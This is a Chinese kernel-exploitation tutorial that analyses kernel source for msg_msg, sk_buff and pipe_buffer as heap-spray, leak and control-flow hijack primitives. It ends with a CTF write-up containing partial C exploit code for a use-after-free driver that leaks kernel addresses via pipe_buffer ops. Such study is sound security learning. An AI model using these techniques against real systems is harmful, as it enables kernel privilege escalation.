kernel从小白到大神(四)
前言:上一章主要是堆方面的攻击和结构体利用,以后会开始接触大量的源码解析,附件下载:https://pan.quark.cn/s/d8b8c9dc92fa
堆保护
Hardened freelist(CONFIG_SLAB_FREELIST_HARDENED=y
)
类似于 glibc 2.32 版本引入的保护tcache的fd
的xor
操作,在开启这种保护之前,slub
中的 free object
的 next
指针直接存放着 next free object
的地址,可以通过读取 freelist
泄露出内核线性映射区的地址。
在开启了该保护之后 free object
的 next
指针存放的是由以下三个值进行异或操作后的值:
- 当前 free object 的地址。
- 下一个 free object 的地址。
- 由 kmem_cache 指定的一个 random 值。
Random freelist(CONFIG_SLAB_FREELIST_RANDOM=y
)
启用后,内核在内存分配中会随机化 SLAB 空闲列表,以防止一些利用空闲链表的攻击,比如特定条件下的内存信息泄露。
Hardened Usercopy(CONFIG_HARDENED_USERCOPY=y
)
内核对用户空间内存复制的安全检查机制,防止用户态和内核态之间的非法内存拷贝操作。对缓冲区大小和范围进行严格检查。
主要检查拷贝过程中对内核空间中数据的读写是否会越界:
- 读取的数据长度是否超出源 object 范围。
- 写入的数据长度是否超出目的 object 范围。
这一保护被用于 copy_to_user()
与 copy_from_user()
等数据交换 API 中,
不会用于内核空间内的数据拷贝,通过内核空间数据拷贝做跳板就可以绕过。
CONFIG_STATIC_USERMODEHELPER=y
启用该选项后,内核会使用一个静态的用户空间辅助程序路径,所有用户空间请求都将被定向到这个固定的路径。
CONFIG_STATIC_USERMODEHELPER_PATH=""
该选项用于指定静态用户空间辅助程序的路径。若设置为空字符串 "",则表示未定义静态路径。当 CONFIG_STATIC_USERMODEHELPER 设置为 y 时,这个路径必须指定,否则该功能不会正常工作。
msg_msg(GFP_KERNEL_ACCOUNT)
在linux
中有System V
消息队列来供进程间通信(IPC
)机制,允许不同进程之间以消息方式进行交换数据。
-
msgget
:创建一个消息队列(msq_queue
) -
msgsnd
:将消息发送到消息队列 -
msgrcv
:从消息队列中接受消息 -
msgctl
:控制消息队列的操作
消息队列操作
msgget
创建一个消息队列的时候,在内核空间中会创建一个msq_queue
结构体,表示消息队列:
/* one msq_queue structure for each present queue on the system */
struct msg_queue {
struct kern_ipc_perm q_perm __attribute__((__aligned__(64))); /* 0 128 */
/* XXX last struct has 44 bytes of padding */
/* --- cacheline 2 boundary (128 bytes) --- */
time64_t q_stime; /* 128 8 */
time64_t q_rtime; /* 136 8 */
time64_t q_ctime; /* 144 8 */
long unsigned int q_cbytes; /* 152 8 */
long unsigned int q_qnum; /* 160 8 */
long unsigned int q_qbytes; /* 168 8 */
struct pid * q_lspid; /* 176 8 */
struct pid * q_lrpid; /* 184 8 */
/* --- cacheline 3 boundary (192 bytes) --- */
struct list_head q_messages; /* 192 16 */
struct list_head q_receivers; /* 208 16 */
struct list_head q_senders; /* 224 16 */
/* size: 256, cachelines: 4, members: 12 */
/* padding: 16 */
/* paddings: 1, sum paddings: 44 */
/* forced alignments: 1 */
} __attribute__((__aligned__(64)));
使用msgget
得到队列的id
就可以进行发送信息,调用msgsnd
在指定队列发送信息时,内核中会创建如下结构体:
struct msg_msg {
struct list_head m_list; //msg_msg串联的双向链表 /* 0 16 */
long int m_type; /* 16 8 */
size_t m_ts; /* 24 8 */
struct msg_msgseg * next; //msg信息的单链表 /* 32 8 */
void * security; /* 40 8 */
/* size: 48, cachelines: 1, members: 5 */
/* last cacheline: 48 bytes */
};
msg_msg
或者msgseg
作为消息的承载体大小是可以通过信息大小来控制的,msg_msg
结构体大小为0x30
,剩余部分用来存储数据,最大申请一个页大小来存储消息,如果还有更多消息会使用struct msg_msgseg
来存储信息。
图片来自:【PWN.0x02】Linux Kernel Pwn II:常用结构体集合 - arttnba3's blog
struct list_head {
struct list_head * next; /* 0 8 */
struct list_head * prev; /* 8 8 */
/* size: 16, cachelines: 1, members: 2 */
};
struct msg_msgseg {
struct msg_msgseg * next; /* 0 8 */
};
msgsnd系统调用(GFP_KERNEL_ACCOUNT)
首先会调用do_msgsnd
long ksys_msgsnd(int msqid, struct msgbuf __user *msgp, size_t msgsz,
int msgflg)
/*
msqid 为消息队列的标识符使用msgget获取
msgp 为用户空间缓冲区 使用结构体定义发送
msgsz 为发送大小
msgflag 控制消息发送的标志,0为阻塞,IPC_NOWAIT 为不阻塞发送
*/
{
long mtype;
if (get_user(mtype, &msgp->mtype))//get_user内核宏,从用户空间读取数据
return -EFAULT;
return do_msgsnd(msqid, mtype, msgp->mtext, msgsz, msgflg);
}
msgp
发送为结构体形式,mtype
为消息类型,mtext
为信息的内容可扩展。然后会调用do_msgsnd
/* message buffer for msgsnd and msgrcv calls */
struct msgbuf {
__kernel_long_t mtype; /* 0 8 */
char mtext[1]; /* 8 1 */
/* size: 16, cachelines: 1, members: 2 */
/* padding: 7 */
/* last cacheline: 16 bytes */
};
do_msgsnd
中首先通过load_msg
把用户空间的message
拷贝到内核空间,然后将消息发送到队列上
static long do_msgsnd(int msqid, long mtype, void __user *mtext,
size_t msgsz, int msgflg)
{
struct msg_msg *msg;
//...
msg = load_msg(mtext, msgsz);//从用户空间加载信息
if (IS_ERR(msg))
return PTR_ERR(msg);
//...
if (!pipelined_send(msq, msg, &wake_q)) {
/* no one is waiting for this message, enqueue it */
list_add_tail(&msg->m_list, &msq->q_messages);
msq->q_cbytes += msgsz;
msq->q_qnum++;
atomic_add(msgsz, &ns->msg_bytes);
atomic_inc(&ns->msg_hdrs);
}
//...
load_msg
会调用alloc_msg
来为信息开辟内核空间
struct msg_msg *load_msg(const void __user *src, size_t len)
{
struct msg_msg *msg;
struct msg_msgseg *seg;
int err = -EFAULT;
size_t alen;
msg = alloc_msg(len);//申请空间
if (msg == NULL)
return ERR_PTR(-ENOMEM);
alen = min(len, DATALEN_MSG);
if (copy_from_user(msg + 1, src, alen))
goto out_err;
for (seg = msg->next; seg != NULL; seg = seg->next) {//循环拷贝
len -= alen;
src = (char __user *)src + alen;
alen = min(len, DATALEN_SEG);
if (copy_from_user(seg + 1, src, alen))
goto out_err;
}
//...
}
在alloc_msg
中会使用GFP_KERNEL_ACCOUNT
标识符来申请内核空间,可以从alen
中看出申请的空间是动态调整大小的。
申请空间就是两部分:
-
0<大小<=0x1000-sizeof(*msg)
的时候,会申请0x30
来存储msgmsg
的结构体信息,然后剩下的部分来存储信息数据 - 反之,会额外申请
msg_msgseg
结构体来存储多的数据,然后以单链表信息挂载在struct msg_msg
上,前0x8字节会存储指针,然后其他区域全部可被信息数据使用。
static struct msg_msg *alloc_msg(size_t len)
{
struct msg_msg *msg;
struct msg_msgseg **pseg;
size_t alen;
alen = min(len, DATALEN_MSG);//min宏
msg = kmalloc(sizeof(*msg) + alen, GFP_KERNEL_ACCOUNT);//这里申请msg_msg主体结构体
if (msg == NULL)
return NULL;
msg->next = NULL;
msg->security = NULL;
len -= alen;
pseg = &msg->next;
while (len > 0) {//循环申请空间
struct msg_msgseg *seg;
cond_resched();
alen = min(len, DATALEN_SEG);
seg = kmalloc(sizeof(*seg) + alen, GFP_KERNEL_ACCOUNT);//申请msgseg的大小
if (seg == NULL)
goto out_err;
*pseg = seg;
seg->next = NULL;
pseg = &seg->next;
len -= alen;
}
//...
}
msgrcv 系统调用
先通过convert_mode()
来区分寻找信息的模式,再find_msg()
来寻找对应信息,然后根msgflg
来抉择接受方式,主要两种接受的方式:
MSG_COPY(复制模式、不释放堆块)
:当在复制模式的时候,接受信息不是比对msgtyp
,而是以msgtyp
做为信息的序号来接受,然后调用copy_msg()
进行复制。
正常接受模式
:寻找到msg
之后,使用list_del()
从 msg_queue
的双向链表上脱链(unlink
),然后信息复制完调用 free_msg()
释放 msg_msg
单链表上的所有消息。
static long do_msgrcv(int msqid, void __user *buf, size_t bufsz, long msgtyp, int msgflg,
long (*msg_handler)(void __user *, struct msg_msg *, size_t))
{
int mode;
struct msg_queue *msq;
struct ipc_namespace *ns;
struct msg_msg *msg, *copy = NULL;
DEFINE_WAKE_Q(wake_q);
if (msgflg & MSG_COPY) {
if ((msgflg & MSG_EXCEPT) || !(msgflg & IPC_NOWAIT))
return -EINVAL;
copy = prepare_copy(buf, min_t(size_t, bufsz, ns->msg_ctlmax));
if (IS_ERR(copy))
return PTR_ERR(copy);
}
mode = convert_mode(&msgtyp, msgflg);
//...
for (;;) {
struct msg_receiver msr_d;
//...
msg = find_msg(msq, &msgtyp, mode);//寻找消息
if (!IS_ERR(msg)) {//找到消息,如果标志位为MSG_COPY,则进行复制操作
if (msgflg & MSG_COPY) {
msg = copy_msg(msg, copy);
goto out_unlock0;
}
//...
list_del(&msg->m_list);//非MSG_COPY,进行脱链释放操作
msq->q_qnum--;
msq->q_rtime = ktime_get_real_seconds();
ipc_update_pid(&msq->q_lrpid, task_tgid(current));
msq->q_cbytes -= msg->m_ts;
atomic_sub(msg->m_ts, &ns->msg_bytes);
atomic_dec(&ns->msg_hdrs);
ss_wakeup(msq, &wake_q, false);
goto out_unlock0;
//...
}
//...
bufsz = msg_handler(buf, msg, bufsz);
free_msg(msg);
return bufsz;
}
convert_mode
函数,当标识符为MSG_COPY
直接返回SEARCH_NUMBER(寻找数字)
,就是前面说的做为信息序号
static inline int convert_mode(long *msgtyp, int msgflg)
{
if (msgflg & MSG_COPY)
return SEARCH_NUMBER;
/*
* find message of correct type.
* msgtyp = 0 => get first.
* msgtyp > 0 => get first message of matching type.
* msgtyp < 0 => get message with least type must be < abs(msgtype).
*/
if (*msgtyp == 0)
return SEARCH_ANY;
//...
return SEARCH_EQUAL
}
find_msg
函数,遍历消息列表,前面convert
模式和这样对应,当MSG_COPY
的时候使用count
来计数,当相同的时候返回,就是第几个消息了。然后0
的时候为SEARCH_ANY
,找信息直接返回。
static struct msg_msg *find_msg(struct msg_queue *msq, long *msgtyp, int mode)
{
struct msg_msg *msg, *found = NULL;
long count = 0;
list_for_each_entry(msg, &msq->q_messages, m_list) {
if (testmsg(msg, *msgtyp, mode) &&
!security_msg_queue_msgrcv(&msq->q_perm, msg, current,
*msgtyp, mode)) {
if (mode == SEARCH_LESSEQUAL && msg->m_type != 1) {
*msgtyp = msg->m_type - 1;
found = msg;
} else if (mode == SEARCH_NUMBER) {
if (*msgtyp == count)
return msg;
} else
return msg;
count++;
}
}
return found ?: ERR_PTR(-EAGAIN);
}
复制模式下使用copy_msg()
,先会有个size
检查,如果拷贝源长度大于目的长度,就会失败,然后就是常规的拷贝,并没有释放信息空间的操作。
struct msg_msg *copy_msg(struct msg_msg *src, struct msg_msg *dst)
{
struct msg_msgseg *dst_pseg, *src_pseg;
size_t len = src->m_ts;
size_t alen;
if (src->m_ts > dst->m_ts)//size检查
return ERR_PTR(-EINVAL);
alen = min(len, DATALEN_MSG);
memcpy(dst + 1, src + 1, alen);
for (dst_pseg = dst->next, src_pseg = src->next;
src_pseg != NULL;
dst_pseg = dst_pseg->next, src_pseg = src_pseg->next) {//msgseg循环拷贝
len -= alen;
alen = min(len, DATALEN_SEG);
memcpy(dst_pseg + 1, src_pseg + 1, alen);
}
dst->m_type = src->m_type;
dst->m_ts = src->m_ts;
return dst;
}
当不是MSG_COPY
的时候,使用msg_handler()
实际会调用do_msg_fill()
函数来处理非复制模式下的信息传递。
do_msg_fill()
首先会写入type
字段然后长度选择之后使用store_msg()
来传递消息
static long do_msg_fill(void __user *dest, struct msg_msg *msg, size_t bufsz)
{
struct msgbuf __user *msgp = dest;
size_t msgsz;
if (put_user(msg->m_type, &msgp->mtype))
return -EFAULT;
msgsz = (bufsz > msg->m_ts) ? msg->m_ts : bufsz;
if (store_msg(msgp->mtext, msg, msgsz))
return -EFAULT;
return msgsz;
}
store_msg()
函数,正常的拷贝,前面提及在非MSG_COPY
下是会释放
信息堆块的。所以在使用msg_handler()
后会有free_msg()
的操作释放。
int store_msg(void __user *dest, struct msg_msg *msg, size_t len)
{
size_t alen;
struct msg_msgseg *seg;
alen = min(len, DATALEN_MSG);
if (copy_to_user(dest, msg + 1, alen))
return -1;
for (seg = msg->next; seg != NULL; seg = seg->next) {//msgseg消息喘息
len -= alen;
dest = (char __user *)dest + alen;
alen = min(len, DATALEN_SEG);
if (copy_to_user(dest, seg + 1, alen))
return -1;
}
return 0;
}
sk_buff(size>=512)
在linux kernel
中用于网络数据包管理核心的数据结构。用于存储数据包的原始数据(TCP/UDP/IP)。包含数据包的相关控制信息和元数据,结构体本身只含有包的属性,不包含数据本身,数据包元数据用一个单独的object
来存储。
sk_buff结构体很多很复杂,现只看重点部分
struct sk_buff {
union {
struct {
/* These two members must be first. */
struct sk_buff *next;
struct sk_buff *prev;
//...
};
//...
/* These elements must be at the end, see alloc_skb() for details. */
sk_buff_data_t tail;
sk_buff_data_t end;
unsigned char *head,*data;
unsigned int truesize;
refcount_t users;
#ifdef CONFIG_SKB_EXTENSIONS
/* only useable after checking ->active_extensions != 0 */
struct skb_ext *extensions;
#endif
};
-
next,prev
用于链接多个sk_buff
实例。 -
head
,指向sk_buff
数据缓冲区的起始位置,是元数据object
块的实际起始位置。 -
end
,指向元数据object
块的末尾。 -
data
,指向有效数据的起始位置,指针会随着数据的接收和处理进行移动。 -
tail
,指向数据的末尾,标记有效数据的结束位置。
sk_buff_head
作为哨兵节点将多个sk_buff
使用双链表链接,sk_buff
本身包含包的各种数据,并外置挂载元数据的object
。
分配(数据包:GFP_NOMEMALLOC | GFP_NOWARN)
sk_buff是内核网络协议栈中常用的结构体,比如读写socket
等都会造成包的创建,最终会调用__alloc_skb()
来分配结构体,sk_buff
结构体会从独立的skbuff_fclone_cache
或者skbuff_head_cache
申请。但是申请的元数据object
不会。
struct sk_buff *__alloc_skb(unsigned int size, gfp_t gfp_mask,
int flags, int node)/*请求分配的大小size,分配内存标志gfp*/
{
struct kmem_cache *cache;
struct skb_shared_info *shinfo;
struct sk_buff *skb;
u8 *data;
bool pfmemalloc;
cache = (flags & SKB_ALLOC_FCLONE)
? skbuff_fclone_cache : skbuff_head_cache;//缓存选择,是否克隆
if (sk_memalloc_socks() && (flags & SKB_ALLOC_RX))
gfp_mask |= __GFP_MEMALLOC;
/* Get the HEAD */
skb = kmem_cache_alloc_node(cache, gfp_mask & ~__GFP_DMA, node);//分配sk_buff头部,gfp去DMA
if (!skb)
goto out;
prefetchw(skb);//预先载入
/* We do our best to align skb_shared_info on a separate cache
* line. It usually works because kmalloc(X > SMP_CACHE_BYTES) gives
* aligned memory blocks, unless SLUB/SLAB debug is enabled.
* Both skb->head and skb_shared_info are cache line aligned.
*/
size = SKB_DATA_ALIGN(size);
size += SKB_DATA_ALIGN(sizeof(struct skb_shared_info));//对齐skb_shared_info
data = kmalloc_reserve(size, gfp_mask, node, &pfmemalloc);//pfmemalloc用于记录分配状态
if (!data)
goto nodata;
/* kmalloc(size) might give us more room than requested.
* Put skb_shared_info exactly at the end of allocated zone,
* to allow max possible filling before reallocation.
*/
size = SKB_WITH_OVERHEAD(ksize(data));
prefetchw(data + size);
/*
* Only clear those fields we need to clear, not those that we will
* actually initialise below. Hence, don't put any more fields after
* the tail pointer in struct sk_buff!
*/
memset(skb, 0, offsetof(struct sk_buff, tail));
/* Account for allocated memory : skb + skb->head */
skb->truesize = SKB_TRUESIZE(size);//实际大小
skb->pfmemalloc = pfmemalloc;//内存分配标志
refcount_set(&skb->users, 1);//引用计数
skb->head = data;
skb->data = data;
skb_reset_tail_pointer(skb);//设置数据尾指针
skb->end = skb->tail + size;
skb->mac_header = (typeof(skb->mac_header))~0U;
skb->transport_header = (typeof(skb->transport_header))~0U;
/* make sure we initialize shinfo sequentially */
shinfo = skb_shinfo(skb);
memset(shinfo, 0, offsetof(struct skb_shared_info, dataref));
atomic_set(&shinfo->dataref, 1);
//如果是克隆,设置克隆信息
if (flags & SKB_ALLOC_FCLONE) {
struct sk_buff_fclones *fclones;
fclones = container_of(skb, struct sk_buff_fclones, skb1);
skb->fclone = SKB_FCLONE_ORIG;
refcount_set(&fclones->fclone_ref, 1);
fclones->skb2.fclone = SKB_FCLONE_CLONE;
}
skb_set_kcov_handle(skb, kcov_common_handle());
out:
return skb;
nodata:
kmem_cache_free(cache, skb);
skb = NULL;
goto out;
}
EXPORT_SYMBOL(__alloc_skb);
数据包申请使用kmalloc_reserve()
,最后会常规kmalloc
申请空间,因此可以利用sk_buff的数据包完成堆喷的工作,但是在源码中还出现了skb_shared_info
结构体。
kmalloc_reserve()
kmalloc_node_track_caller()
__do_kmalloc_node()
数据包在申请的时候会带一个skb_shared_info
结构体。
struct skb_shared_info {
__u8 __unused; /* 0 1 */
__u8 meta_len; /* 1 1 */
__u8 nr_frags; /* 2 1 */
__u8 tx_flags; /* 3 1 */
short unsigned int gso_size; /* 4 2 */
short unsigned int gso_segs; /* 6 2 */
struct sk_buff * frag_list; /* 8 8 */
struct skb_shared_hwtstamps hwtstamps; /* 16 8 */
unsigned int gso_type; /* 24 4 */
u32 tskey; /* 28 4 */
atomic_t dataref; /* 32 4 */
/* XXX 4 bytes hole, try to pack */
void * destructor_arg; /* 40 8 */
skb_frag_t frags[17]; /* 48 272 */
/* size: 320, cachelines: 5, members: 13 */
/* sum members: 316, holes: 1, sum holes: 4 */
};
所以真实的数据包基本为这样子,skb_shared_info
结构体为320
字节,那我们能利用的object
最小的就是512
字节的object
释放
在大多数通信协议中,收发的时候,发动作都会创建空间来存储数据,读取的时候空间被释放。比如在socket
中写入数据创建了一个包之后,在读取的时候这个数据包就会被释放。
sk_buff
的释放调用kfree_skb()
,数据空间最终会调用skb_free_head()
__kfree_skb()
skb_release_all()
skb_release_data()
skb_free_head()
skb_free_head()
static void skb_free_head(struct sk_buff *skb)
{
unsigned char *head = skb->head;
if (skb->head_frag)//判断分片
skb_free_frag(head);
else
kfree(head);
}
sk_buff释放通过kfree_skbmem()
,直接释放进独立的kmem_cache
中。
pipe_buffer(kmalloc-1k|GFP_KERNEL_ACCOUNT)
不同进程间的内存空间是相互隔离的,比如进程A 不能访问进程B 的内存空间,所以要有桥梁可使进程间能够通信,完成一些非常规操作。内核中有很多进程间相互通信的方式,这里主要讲解管道(pipe)的原理与利用。
先了解如何利用管道是通信的,管道一般用于父子进程通信,一般为父进程使用pipe创建管道,然后fork子进程,子进程会继承父进程的文件句柄,就可以进行利用之前打开管道的进行通信。
int fd[2];
pipe(fd) //创建管道
管道分为读写端,fd[0]为读端,fd[1]为写端。
#include<stdio.h>
int main(void){
const char msg[]="hello pipe";
int fd[2];
if(pipe(fd)<0){
puts("failed create pipe");
return -1;
}
if(!fork()){
/*child process */
if(write(fd[1],msg,sizeof(msg)-1)<0){
puts("failed write");
return -1;
}
}else{
/*father process*/
char buf[512]={0};
if(read(fd[0],buf,sizeof(buf))<0){
puts("failed read");
return -1;
}
printf("data:%s\n",buf);
}
close(fd[0]);
close(fd[1]);
return 0;
}
pipe_inode_info管道本体(kmalloc-192|GFP_KERNEL_ACCOUNT)
在linux
内核中,管道本体使用pipe_inode_info
进行管理,在linux
内核中用于管理管道的状态和操作
struct pipe_inode_info {
struct mutex mutex; /* 0 32 */
wait_queue_head_t rd_wait; /* 32 24 */
wait_queue_head_t wr_wait; /* 56 24 */
/* --- cacheline 1 boundary (64 bytes) was 16 bytes ago --- */
unsigned int head; /* 80 4 */
unsigned int tail; /* 84 4 */
unsigned int max_usage; /* 88 4 */
unsigned int ring_size; /* 92 4 */
bool note_loss; /* 96 1 */
unsigned int nr_accounted; /* 100 4 */
unsigned int readers; /* 104 4 */
unsigned int writers; /* 108 4 */
unsigned int files; /* 112 4 */
unsigned int r_counter; /* 116 4 */
unsigned int w_counter; /* 120 4 */
/* --- cacheline 2 boundary (128 bytes) --- */
struct page * tmp_page; /* 128 8 */
struct fasync_struct * fasync_readers; /* 136 8 */
struct fasync_struct * fasync_writers; /* 144 8 */
struct pipe_buffer * bufs; /* 152 8 */
struct user_struct * user; /* 160 8 */
struct watch_queue * watch_queue; /* 168 8 */
/* size: 176, cachelines: 3, members: 20 */
/* sum members: 169, holes: 2, sum holes: 7 */
/* last cacheline: 48 bytes */
};
-
rd_wait\wr_wait
:管理等待读取\写入操作的进程队列 -
head
:管道缓冲区的头部位置 -
tail
:管道缓冲区的尾部位置 -
bufs
:环形缓冲区,存储实际的数据缓冲区,利用这个指针可以泄露出来pipe_buffer
的堆地址
环形缓冲区,管道使用环形缓冲区来存储数据(把一个缓冲区当成首尾相连的环,通过读指针和写指针来记录读写数据的位置)。
在 Linux 内核中,使用了 16 个内存页作为环形缓冲区,所以这个环形缓冲区的大小为 64KB(16 * 4KB)。
数据泄露
pipe_inode_info->bufs
为申请kmalloc-1k
的object
,可以泄露堆上的地址。
pipe_buffer
管道数据(kmalloc-1k|GFP_KERNEL_ACCOUNT)
创建管道后,会用struct pipe_buffer
分配空间,申请的object
大小为kmalloc-1k
struct pipe_buffer {
struct page * page; /* 0 8 */
unsigned int offset; /* 8 4 */
unsigned int len; /* 12 4 */
const struct pipe_buf_operations * ops; /* 16 8 */
unsigned int flags; /* 24 4 */
long unsigned int private; /* 32 8 */
/* size: 40, cachelines: 1, members: 6 */
/* sum members: 36, holes: 1, sum holes: 4 */
/* last cacheline: 40 bytes */
};
分配
使用pipe
或者pippe2
就可以创建管道,pipe2
创建需要传入flags
两者创建管道都会使用do_pipe2()
,然后调用__do_pipe_flags
static int do_pipe2(int __user *fildes, int flags)//用户空间指针,创建管道标志
{
struct file *files[2];//读写端文件指针
int fd[2];//文件描述符
int error;
error = __do_pipe_flags(fd, files, flags);
if (!error) {
//管道创建成功,向用户空间复制文件描述符
if (unlikely(copy_to_user(fildes, fd, sizeof(fd)))) {
//拷贝发生错误
fput(files[0]);//减少文件结构引用计数
fput(files[1]);
put_unused_fd(fd[0]);//释放文件描述符
put_unused_fd(fd[1]);
error = -EFAULT;
} else {
//拷贝成功
fd_install(fd[0], files[0]);//安装文件描述符
fd_install(fd[1], files[1]);
}
}
return error;
}
__do_pipe_flags()
首先会对flags检查,然后调用create_pipe_files()
创建管道
static int __do_pipe_flags(int *fd, struct file **files, int flags)
{
int error;
int fdw, fdr;
/*O_CLOEXEC:执行新程序时关闭fd,O_NONBLOCK:非阻塞模式 O_DIRECT:直接I/O标志*/
if (flags & ~(O_CLOEXEC | O_NONBLOCK | O_DIRECT | O_NOTIFICATION_PIPE))//flags检查
return -EINVAL;
error = create_pipe_files(files, flags);//创建管道
if (error)
return error;
error = get_unused_fd_flags(flags);//获取未使用的文件描述符
if (error < 0)
goto err_read_pipe;
fdr = error;
error = get_unused_fd_flags(flags);
if (error < 0)
goto err_fdr;
fdw = error;
audit_fd_pair(fdr, fdw);//审计文件描述符对
fd[0] = fdr;//文件描述符赋值
fd[1] = fdw;
return 0;
err_fdr:
put_unused_fd(fdr);
err_read_pipe:
fput(files[0]);
fput(files[1]);
return error;
}
create_pipe_files()
先会调用get_pipe_inode()
创建管道本体,然后对读写端文件申请并赋值管道数据
int create_pipe_files(struct file **res, int flags)
{
struct inode *inode = get_pipe_inode();//获取管道本体
struct file *f;
int error;
if (!inode)
return -ENFILE;
if (flags & O_NOTIFICATION_PIPE) {//初始化观察队列
error = watch_queue_init(inode->i_pipe);
if (error) {
free_pipe_info(inode->i_pipe);
iput(inode);
return error;
}
}
/*分配写端文件结构 初始化ops */
f = alloc_file_pseudo(inode, pipe_mnt, "",
O_WRONLY | (flags & (O_NONBLOCK | O_DIRECT)),
&pipefifo_fops);
if (IS_ERR(f)) {
free_pipe_info(inode->i_pipe);
iput(inode);
return PTR_ERR(f);
}
//写端私有数据指针设置为管道i_pipe,后续可操作管道
f->private_data = inode->i_pipe;
/*克隆读端文件结构 O_RDONLY只读*/
res[0] = alloc_file_clone(f, O_RDONLY | (flags & O_NONBLOCK),
&pipefifo_fops);
if (IS_ERR(res[0])) {
put_pipe_info(inode, inode->i_pipe);
fput(f);
return PTR_ERR(res[0]);
}
res[0]->private_data = inode->i_pipe;
res[1] = f;
stream_open(inode, res[0]);//打开读端流
stream_open(inode, res[1]);
return 0;
}
get_pipe_inode()
会先创建新的伪inode,然后通过alloc_pipe_info()
创建管道,之后初始化管道
static struct inode * get_pipe_inode(void)
{
struct inode *inode = new_inode_pseudo(pipe_mnt->mnt_sb);//创建伪inode
struct pipe_inode_info *pipe;
if (!inode)
goto fail_inode;
inode->i_ino = get_next_ino();//创建唯一的inode号
pipe = alloc_pipe_info();//创建管道
if (!pipe)
goto fail_iput;
/*初始化 pipe_inode_info */
inode->i_pipe = pipe;
pipe->files = 2;//管道文件描述符为2(读\写段)
pipe->readers = pipe->writers = 1; //初始读写者的数量为1
inode->i_fop = &pipefifo_fops;
inode->i_state = I_DIRTY;//标记state为脏,就不会移动到脏列表中
inode->i_mode = S_IFIFO | S_IRUSR | S_IWUSR;//mode设置为 管道 读 写
inode->i_uid = current_fsuid();
inode->i_gid = current_fsgid();
inode->i_atime = inode->i_mtime = inode->i_ctime = current_time(inode);
//...
}
具体调用链
do_pipe2()
__do_pipe_flags()
create_pipe_files()
get_pipe_inode()
alloc_pipe_info()
直到在alloc_pipe_info()
函数中才真正的分配空间,这里pipe_bufs
默认为16,会创建64*16==1024,刚好会从kmalloc-1k
取object
struct pipe_inode_info *alloc_pipe_info(void)
{
struct pipe_inode_info *pipe;
unsigned long pipe_bufs = PIPE_DEF_BUFFERS;//默认缓冲区数量
struct user_struct *user = get_current_user();
unsigned long user_bufs;
unsigned int max_size = READ_ONCE(pipe_max_size);//最大管道大小
pipe = kzalloc(sizeof(struct pipe_inode_info), GFP_KERNEL_ACCOUNT);//分配pipe_inode_info,初始化为0
if (pipe == NULL)
goto out_free_uid;
//如果缓冲区数量大小超过最大限制
if (pipe_bufs * PAGE_SIZE > max_size && !capable(CAP_SYS_RESOURCE))
pipe_bufs = max_size >> PAGE_SHIFT;
//用户管道缓冲区使用情况
user_bufs = account_pipe_buffers(user, 0, pipe_bufs);
//用户是否超过软限制,如果非特权用户,缓冲区数量调整为1
if (too_many_pipe_buffers_soft(user_bufs) && pipe_is_unprivileged_user()) {
user_bufs = account_pipe_buffers(user, pipe_bufs, 1);
pipe_bufs = 1;
}
//超过硬限制
if (too_many_pipe_buffers_hard(user_bufs) && pipe_is_unprivileged_user())
goto out_revert_acct;
//创建缓冲区数组,大小为[(pipe_bufs数量)*(sizeof(struct pipe_buffer))]
pipe->bufs = kcalloc(pipe_bufs, sizeof(struct pipe_buffer),
GFP_KERNEL_ACCOUNT);
//...
return NULL;
}
释放
close关闭读写端的时候,管道就会被释放,释放使用pipe_realease
函数,最终调用到free_pipe_info()
,释放管道本体和管道数。
void free_pipe_info(struct pipe_inode_info *pipe)
{
int i;
#ifdef CONFIG_WATCH_QUEUE
if (pipe->watch_queue) {
watch_queue_clear(pipe->watch_queue);
put_watch_queue(pipe->watch_queue);
}
#endif
(void) account_pipe_buffers(pipe->user, pipe->nr_accounted, 0);
free_uid(pipe->user);
for (i = 0; i < pipe->ring_size; i++) {
struct pipe_buffer *buf = pipe->bufs + i;
if (buf->ops)
pipe_buf_release(pipe, buf);
}
if (pipe->tmp_page)
__free_page(pipe->tmp_page);
kfree(pipe->bufs);
kfree(pipe);
}
数据泄露
pipe_buffer->pipe_buf_operations
指向一张全局函数表,可以泄露出来内核.text
地址。
劫持rip
struct pipe_buf_operations {
int (*confirm)(struct pipe_inode_info *, struct pipe_buffer *); /* 0 8 */
void (*release)(struct pipe_inode_info *, struct pipe_buffer *); /* 8 8 */
bool (*try_steal)(struct pipe_inode_info *, struct pipe_buffer *); /* 16 8 */
bool (*get)(struct pipe_inode_info *, struct pipe_buffer *); /* 24 8 */
/* size: 32, cachelines: 1, members: 4 */
/* last cacheline: 32 bytes */
};
当控制pipe_buffer
的时候,pipe_buf_operations
就能篡改,函数调用的指针由我们控制,当使用close
关闭管道的时候,从之前的free_pipe_info()
函数处看出只要ops不为空,会调用pipe_buf_release来释放
if (buf->ops)
pipe_buf_release(pipe, buf);
最终会调用release
指针函数来释放,并且劫持之后rdi
为管道本体,rsi
为当前pipe_buffer
地址,只需要将rsi
的值给rsp
就可以完成栈迁移。
2024网鼎杯pwn3
有uaf漏洞,并且任意申请大小chunk
read、write都有,直接就能泄露地址,tty被禁用了,使用pipe来劫持
struct pipe_buffer {
struct page *page;
unsigned int offset, len;
const struct pipe_buf_operations *ops;
unsigned int flags;
unsigned long private;
};
pipe_buffer有ops全局函数表,可以泄露出来.text地址
利用uaf在上面喷上pipe_buffer,之后利用read就能读出.text地址
原本堆没啥东西,然后释放在堆喷pipe_buffer
然后这个uaf堆还可控,利用read泄露地址,write篡改ops然后布局rop就行
#define _GNU_SOURCE
#include<stdio.h>
#include<sys/types.h>
#include<sys/stat.h>
#include<fcntl.h>
#include <stdlib.h>
#include <string.h>
#include<unistd.h>
#include<signal.h>
#include<sched.h>
#include <sys/ioctl.h>
#include<stdint.h>
#pragma pack(16)
#define CLOSE printf("\033[0m\n");
#define RED printf("\033[31m");
#define GREEN printf("\033[36m");
#define BLUE printf("\033[34m");
#define YELLOW printf("\033[33m");
#define SPARY_COUNT 8
size_t raw_vmlinux_base = 0xffffffff81000000;
size_t raw_direct_base=0xffff888000000000;
size_t commit_creds = 0,prepare_kernel_cred = 0;
size_t vmlinux_base = 0;
size_t user_cs, user_ss, user_rflags, user_sp;
size_t init_cred=0;
void save_status();
void errExit(char * msg);
void getshell(void);
int fd;
int main(void){
save_status();
signal(SIGSEGV,getshell);
BLUE;puts("[*]start");CLOSE;
fd = open("/dev/easy\0",2);
if(fd < 0){
errExit("open dev");
}
ioctl(fd,0,1024);
ioctl(fd,1);
puts("spary pipe");
int pipe_fd[SPARY_COUNT][2];
for (int i = 0; i < SPARY_COUNT; i++)
{
pipe(pipe_fd[i]);
write(pipe_fd[i][1], "1", 1);
}
char buf[1024]={0};
read(fd,buf,192);
size_t pipe_buf_ops=*(size_t*)&buf[0x10];
